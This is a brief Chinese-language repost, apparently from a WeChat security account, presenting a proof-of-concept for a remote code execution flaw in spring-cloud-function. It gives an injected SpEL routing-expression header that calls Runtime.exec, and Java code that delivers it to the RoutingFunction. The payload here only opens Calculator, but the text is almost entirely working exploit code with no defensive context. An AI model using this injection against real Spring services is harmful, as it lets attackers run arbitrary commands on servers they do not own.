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spring-spel-0day-poc
这是 spring-cloud/spring-cloud-function Remote Code Exploit POC
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -acalculator.app")
POC:
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".routing-expression",
"T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")")
.build();
function.apply(message);
原文始发于微信公众号(Ots安全):Spring Cloud Function SPEL RCE 漏洞利用
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